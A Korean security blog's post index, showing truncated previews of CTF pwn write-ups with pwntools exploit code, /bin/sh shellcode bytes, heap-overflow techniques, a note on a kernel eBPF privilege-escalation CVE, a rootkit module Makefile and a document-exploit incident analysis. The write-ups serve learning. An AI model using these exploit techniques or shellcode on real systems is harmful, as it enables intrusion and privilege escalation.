티스토리

SHALL WE PLAY A GAME?

검색하기

블로그 홈

SHALL WE PLAY A GAME?

daehee87.tistory.com/m

daehee87 님의 블로그입니다.

구독자: 1

방명록 방문하기

주요 글 목록

BPF vs eBPF BPF: seccomp , setsocketopt 등에서 필터프로그램을 전달할때 쓰는 classic 한 ISA.구조가 매우 단순하고 call 이나 signed, unsigned 비교등이 없고 레지스터 갯수가 작음. eBPF: BPF 의 ISA 를 확장한 버전. 리눅스 커널 4.13인가부터 들어감. bpf() 라는 시스템콜을 통해서 프로그램을 전달할수있고, eBPF 바이트코드에 대해서는 최신커널이 JIT 도 수행해줌. eBPF 를 인터프리트하던 JIT 으로 네이티브로 돌리던 바이트코드의 안전성 검사를하는 verify 단계가 있는데, 이부분에 취약점이있어서 bypass 한뒤 악성 eBPF 프로그램을 통해 커널 임의 메모리읽기쓰기를 수행해서 루트를 따는 CVE-2017-16995 가 있었음. (https://.. 공감수 0 댓글수 0 2018. 5. 18.
DEFCON 2017 empanada writeup Its just simple use-after-free. but binary is annoying to reverse... because of C++ stuffs...took me 3~4H to realize how to trigger the UAF from pwn import *context.arch = 'i386' # i386 / arm p = remote('empanada_45e50f0410494ec9cfb90430d2e86287.quals.shallweplayaga.me', 47281)#p = process(['./empanada'])#raw_input('attach ' + str(p.proc.pid)) sh2 = "\x90"*20 + "\x31\xD2\x52\x68\x2F\x2F\x73\x68\.. 공감수 0 댓글수 0 2017. 5. 8.
DEFCON 2017 awsno writeup 1. heap overflow in 'trains' menu2. we can change heap layout by making hole with edit menu. (edit deletes a node and appends new copy at the end of the list)3. using heap overflow, we can corrupt some objects and hijack RIP.4. we used special gadget that allows us to do arbitrary write5. we changed atoi into system and called atoi("sh 0&4"); to get a shell. - worked with zzoru. '''trains name l.. 공감수 0 댓글수 0 2017. 5. 8.
SECCON 2016 cheer_msg 요약: alloca 에 음수줘서 stack 해꼬질함.summary: negative index to alloca() and fuckup the stack. from pwn import *context.arch = 'i386'# i386 / arm # recvuntil sendline, pack, recv, sendr = remote('cheermsg.pwn.seccon.jp', 30527)#r = process(['./cheer_msg'])raw_input('attach')# start pwn. print r.recvuntil('Message Length >> ')r.sendline('-144')print r.recvuntil('Name >> ') # ROP start!pr = 0x80487afgot =.. 공감수 0 댓글수 0 2016. 12. 12.
SECCON 2016 checker summary: leak flag in memory using argv[1] in stack_check_fail. we need LIBC_FATAL_ERROR environment variable to get stderr from redirected network.요약: argv[1] 포인터 덮어서, 스택카나리 체크시 flag 를 leak 하기. LIBC_FATAL_ERROR 환경변수 세팅해줘야 stderr 를 볼수있음. from pwn import *context.arch = 'amd64'# i386 / arm # recvuntil sendline, pack, recv, sendr = remote('checker.pwn.seccon.jp', 14726)#r = process(['./checker'])r.. 공감수 0 댓글수 0 2016. 12. 12.
SECCON 2016 logger '''with zzoru.extreamly LIBC-specific exploit.1/16 chance to get shell.''' from pwn import *import osimport random DEBUG = Truecontext(os='linux',arch='amd64') #p1 = process("./logger")p1 = remote('logger.pwn.seccon.jp', 6565)#p2 = process("./logger")p2 = remote('logger.pwn.seccon.jp', 6565) R = str(random.randrange(10000))def login(process): global R name = 'zzoru'+R password = 'zzoru5'+R proce.. 공감수 0 댓글수 0 2016. 12. 11.
SECCON 2016 jumper 요약: 1바이트 힙오버. 힙객체속에 R/W 용 포인터의 하위 1바이트를 덮을수있어서, 그거로 추가적으로 포인터 더 덮고 조작하면 결국 모든메모리 읽고쓰기가능.summary: off-by-one heap overflow in memo. can hijack R/W pointer. full memory read/write is possible. from pwn import *context.arch = 'amd64'# i386 / arm # recvuntil sendline, pack, recv, sendr = remote('jmper.pwn.seccon.jp', 5656)#r = process(['./jmper_patch'])raw_input('attach')# start pwn. #[id 8][name 0x.. 공감수 0 댓글수 0 2016. 12. 11.
SECCON 2016 chat 요약: change name 할때 16바이트 힙오버. next chunk 메타데이타를 덮을수있음. unsafe_unlink 써서 임의메모리쓰기해서 익스.summary: 16byte heap overflow in change_name. use unsafe_unlink and get write-what-where. from pwn import *context.arch = 'amd64'# i386 / armr = remote('chat.pwn.seccon.jp', 26895)raw_input('attach')print r.recvuntil('menu > ') def adduser(name): r.sendline('1') print r.recvuntil('name > ') r.sendline(name) prin.. 공감수 0 댓글수 0 2016. 12. 11.
system, execl, exeve PATH 차이 system 의 경우 결국execve("/bin/sh", "-c", "blabla...");이거고 execl 의 경우 execve("blabla", "arg1", ...);이거인데. 원래 execve 자체는 PWD 상에 실행할 프로그램을 검색하지만/bin/sh -c 로 주어지는 프로그램은정확한 PATH 변수에 있는경우만 뒤져서 실행됨. 이것때문에 차이가남... 예를들어 execlp 같은경우 PATH 환경변수 의 디렉토리들을 뒤지면서 "nit" 명령을 아래처럼 찾음... Breakpoint 3, 0x556434c0 in execve () from /lib/i386-linux-gnu/libc.so.6(gdb) b *0x556434e8Breakpoint 4 at 0x556434e8(gdb) cContinuin.. 공감수 0 댓글수 0 2016. 9. 9.
Tokyo Westerns MMA CTF 2016 interpreter Summary: 64bit ELF befunge-93 interpreter is given. The binary is fortified with everything (CANARY, NX, PIE, FULL-RELRO, no offset2lib in latest kernel). However, there is arbitrary memory R/W bug in 'p', 'g' implementation since there are no boundary checks. Using this bug, I can overwrite atexit at libc and control the RIP. However, the ROP-able stack payloads are injected into memory before .. 공감수 0 댓글수 0 2016. 9. 5.
Tokyo Westerns MMA CTF 2016 shadow Summary: 32bit ELF with NX/ASLR but no-PIE is given. call and ret instructions are instrumented and shadow stack is implemented. there is stack based buffer overflow on 'message' function, but this can't be used for manipulating the return address. however, arbitrary memory read/write can be achieved by manipulating the function's arguments. there is a menu 'change name' which gives arbitrary me.. 공감수 0 댓글수 0 2016. 9. 5.
OSX routing table setup netstat -nr 하면 라우팅테이블 나오는데이게 순서가 거꾸로임. 맨 아래가 제일 우선순위가 높은거고, 위가 마지막우선순위인식...그래서 172.16... 이런부분은 최상위 우선순위고 내가 route -add 해서 더하는건 127.0.0 바로 아래정도에 삽입됨sh-3.2# netstat -nrRouting tables Internet:Destination Gateway Flags Refs Use Netif Expiredefault 192.168.1.1 UGSc 65 0 en0127 127.0.0.1 UCS 1 0 lo0127.0.0.1 127.0.0.1 UH 4 519142 lo0169.254 link#4 UCS 1 0 en0172.16/24 link#12 UC 3 0 vboxnet172.16.0.1.. 공감수 0 댓글수 0 2016. 8. 6.
ARM DACR basics ARM DACR...이게 thread_info 의 cpu_domain 필드의 값인가? 01struct thread_info {02 unsigned long flags; /* low level flags */03 int preempt_count; /* 0 => preemptable, bug */04 mm_segment_t addr_limit; /* address limit */05 struct task_struct *task; /* main task structure */06 struct exec_domain *exec_domain; /* execution domain */07 __u32 cpu; /* cpu */08 __u32 cpu_domain; /* cpu domain */09 struct cpu_c.. 공감수 0 댓글수 0 2016. 7. 13.
Intel SGX basics MIT 의 "SGX explained" 문서를 토대로 아주 기초적인 SGX 핵심원리만 정리해보았다. 1. SGX 무결성 검증이 이루어지는 원리는 다음과 같다: SGX 앱 개발자는, 먼저 자신의 private key 로 앱의 hash 를 서명한, 뒤, 자신의 public key 와 함께 앱을 배포한다. SGX CPU 는 SGX 앱 실행을 위한 준비들을 모두 끝마친 뒤에 EINIT 명령어를 통해서 무결성을 검증하는데, 그 방법으로 enclave 의 각 EPC 페이지들에 대한 hash (ENCLAVEHASH) 를 계산하고, 그 hash 를 아래와같이 앱과함께 배포된 인증서 (public key 로 풀어서 볼수있는) 의 hash 와 동일한지 체크한다. Field Bytes Description ENCLAVEHA.. 공감수 2 댓글수 1 2016. 7. 12.
BKP2016 segsh theme: BOF inside segmentation/seccomp jail. from pwn import *import time, random, stringcontext.arch = 'i386'# i386 / arm def RSTR(N):return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N)) # recvuntil sendline, pack, recv, sendr = remote('segsh.bostonkey.party', 8888)#r = process(['./segsh2'])raw_input('attach')# start pwn. '''data : 0x10000 ~ 0x12000stack : 0x8.. 공감수 0 댓글수 0 2016. 6. 24.
dynelf 원리 * libc 모듈 베이스주소 찾기 일단 바이너리가 있다고치면(PIE 인 경우는 PIE 베이스 안다고치면) got.plt 섹션의 주소는 아는셈이고그 섹션의 처음에 위치한 포인터배열 (rw세그먼트 시작에 있음) 에서 [1] 번째 엔트리가 linkmap 이중연결리스트의 head 포인터임 root@ubuntu:~/tmp/leak# readelf -S leakThere are 30 section headers, starting at offset 0x117c: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048154 000154 0.. 공감수 0 댓글수 0 2016. 5. 26.
ASIS CTF 2016 books 버그: BSS 쪽에 힙leak 및 off-by-one 존재. 포인터 하위바이트 NULL 로 덮는것으로 시작해서 다른객체 pointer 조작하고 결과적으로 libc free hook 하이잭해서 쉘 획득. arbitrary free 버그는 fake 임 -_- from pwn import *context.arch = 'amd64'# i386 / arm r = remote('books.asis-ctf.ir', 13007)#r = process(['./b00ks'])raw_input('attach')# start pwn. print r.recvuntil('name: ')r.sendline('A'*32)print r.recvuntil('> ') r.sendline('1')print r.recvuntil('size:.. 공감수 0 댓글수 0 2016. 5. 11.
ASIS CTF 2016 feap 힙쪽에 64바이트 오버플로우. topchunk 덮어서 malloc 조작한뒤 GOT 덮어서 쉘획득. from pwn import *context.arch = 'amd64'# i386 / arm DELTA = 0x27be0while True:print hex(DELTA)try:# recvuntil sendline, pack, recv, sendr = remote('feap.asis-ctf.ir', 7331)#r = process(['./feap'])#raw_input('attach')# start pwn. # prepare first heap chunkprint r.recvuntil('> ')r.sendline('1')print r.recvuntil('size: ')r.sendline('70')print r.. 공감수 0 댓글수 0 2016. 5. 11.
PlaidCTF 2016 butterfly 1bit flip 을 하게 해주는 문제.main 함수에 명령어 몇개 바꿔서 ROP 하면됨.hahah 님의 빠른 풀이전략을 듣고 익스코드 작성. from pwn import *import timecontext.arch = 'amd64'# i386 / arm SH = "\x48\x31\xC0\x48\x31\xD2\x50\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x48\x89\xE7\x50\x57\x48\x89\xE6\xB0\x3B\x0F\x05"# recvuntil sendline, pack, recv, sendr = remote('butterfly.pwning.xxx', 9999)#r = process(['stdbuf', '-o', '0', '-i', '0', './b.. 공감수 0 댓글수 0 2016. 4. 19.
PlaidCTF 2016 fixedpoint GoN 과 연합으로 했는데 GoN 에서 풀던친구보다 1분 늦게풀어서 패배 ㅠㅠ _ 의 왼쪽에 있는 숫자들만 쭉 전달해주면 쉘. unsigned int can[] = {0x6ad231, 710327_4404d2310x6a9052, 11343215_460490520x6a2f6a, 2827706_45042f6a0x6a4444, 11317794_460444440x6a4444, 11317794_460444440x6a9044, 11343197_460490440x6a626a, 11327871_4604626a0x6a4444, 11317794_460444440x6a4444, 11317794_460444440x6a9044, 11343197_460490440x6a696a, 11330210_4604696a0x6a4444, 1.. 공감수 0 댓글수 0 2016. 4. 19.
PlaidCTF 2016 pzip pCTF 2016 pzip exploit.with DramG from pwn import *import timecontext.arch = 'amd64'# i386 / arm # we need to brute-force this base address. (1.5byte brute-force -> 0x???000 or 0x1???000)#HEAPBASE = 0x604000# case of no ASLRHEAPBASE = 0xccc000delay = .1 while True:try:#r = process(['./pzip'])r = remote('pzip.pwning.xxx', 9999) def decompress(payload):global rr.sendline('DECOMPRESS ' + str(len(pa.. 공감수 0 댓글수 0 2016. 4. 19.
rbashed 보호되어 있는 글입니다. 공감수 0 댓글수 0 2016. 1. 20.
Codemap - IDA plugin for runtrace visualization Visithttp://codemap.kr/ Codemap is IDA plugin for run trace visualization which can be very helpful for reversing a complex software. Imagine you are about to reverse-engineer the IE's javascript engine from scratch. with a brief research, you will notice that the javascript engine for IE is jscript9.dll so you open up that dll with IDA, and there are over 16 thousand complex functions. given th.. 공감수 0 댓글수 0 2016. 1. 7.
Mount QEMU qcow image Follow these steps.Install qemu-utils and enable ndb modulesudo apt-get install qemu-utilssudo modprobe nbdConnect the image to the first nbd devicesudo qemu-nbd -c /dev/nbd0 disk.imgMount the image. sudo mount /dev/nbd0p1 /mntAfter you're done, unmount it.sudo umount /mntAnd disconnect the loopback device toosudo qemu-nbd -d /dev/nbd0 공감수 0 댓글수 0 2015. 12. 17.
RISCypass 보호되어 있는 글입니다. 공감수 0 댓글수 0 2015. 12. 17.
kstore solve. 보호되어 있는 글입니다. 공감수 0 댓글수 0 2015. 12. 12.
커널모듈 Cross Compile 주의사항 커널모듈 크로스 컴파일시 유의사항 1. ARCH, CROSS_COMPILE 디렉티브 꼭 넣어주기.이때 Makefile 속에 명시해주려면 아래처럼 export 랑 := 로 써줘야함. root@ubuntu:/var/www/samsung/rootkit# cat Makefile export ARCH:=armexport CROSS_COMPILE:=/var/www/samsung/gnu/arm/lin/bin/arm-xilinx-linux-gnueabi- obj-m += stealth_file.o KDIR:= /var/www/samsung/linux-xlnx-xilinx-v2014.4-trdPWD:= $(shell pwd)CC:= /var/www/samsung/gnu/arm/lin/bin/arm-xilinx-linux.. 공감수 0 댓글수 0 2015. 12. 9.
CAMPCTF 2015 dkm #!/usr/bin/env pythonfrom pwn import *context.arch = 'amd64'elf = ELF('dkm.elf')puts = elf.got['__libc_start_main'] #r = remote("localhost", 5555)r = remote("challs.campctf.ccc.ac", 10102)r.recvuntil('> ') def send_menu(r, s):r.send(s+'\n')print r.recvuntil('> ') send_menu(r, '2')send_menu(r, '1')send_menu(r, '0')send_menu(r, '0')send_menu(r, '0')# number of ssidsend_menu(r, 'no comment') send_m.. 공감수 0 댓글수 0 2015. 11. 19.
PlaidCTF 2015 RAM # pCTF2015 RAM exploitimport os, sys, structcode = '09508fe215ff2fe1c1c2c3c4c5c6c7c87b46d96a'code += '1d6b0639073d0391049505af083f381c4940921a'code += '0b2701dff1f2f3f4f5f6f7f8b1b2b3b4b5b6b7b8'code += 'b9babbbc3562696e36736800'code = code.decode('hex')buf = map(chr, range(256))res = ''i=0for b in code:target = chr( struct.unpack(' 공감수 0 댓글수 0 2015. 11. 18.
화이트햇 콘테스트 2015 한글 익스플로잇 분석 2015 화이트햇 해킹방어대회(아몰랑팀) 예선전 보고서로 제출했던 내용중 문제에서 주어진 한글 취약점 exploit 분석 내용입니다. 4. 분석결과 4.1) 침해원인 침해원인을 전반적으로 요약하면 다음과 같다. 해당 침해사건은 A사의 박보안 부장과 협력사 B사 사이에서의 진행사항을 공유하기 위해 사용한 팀채팅 솔루션을 통해서 전달된 한글 익스플로잇을 통하여 발생하게 된다. 박보안 부장은 팀채팅 솔루션인 ‘잔디’ (https://www.jandi.com) 사이트를 인터넷 브라우저인 Internet Explorer를 이용하여 사용하는데, B사와 진행사항을 문서파일을 통해 공유한다. 이 때 B사에서 보낸 한글파일과 pdf 파일들중의 한글파일 1개가 취약점을 공격하는 코드를 포함하였다. 파일들 중에서 ‘참고지침.. 공감수 0 댓글수 6 2015. 10. 27.

문의안내

티스토리
로그인
고객센터

티스토리는 카카오에서 사랑을 담아 만듭니다.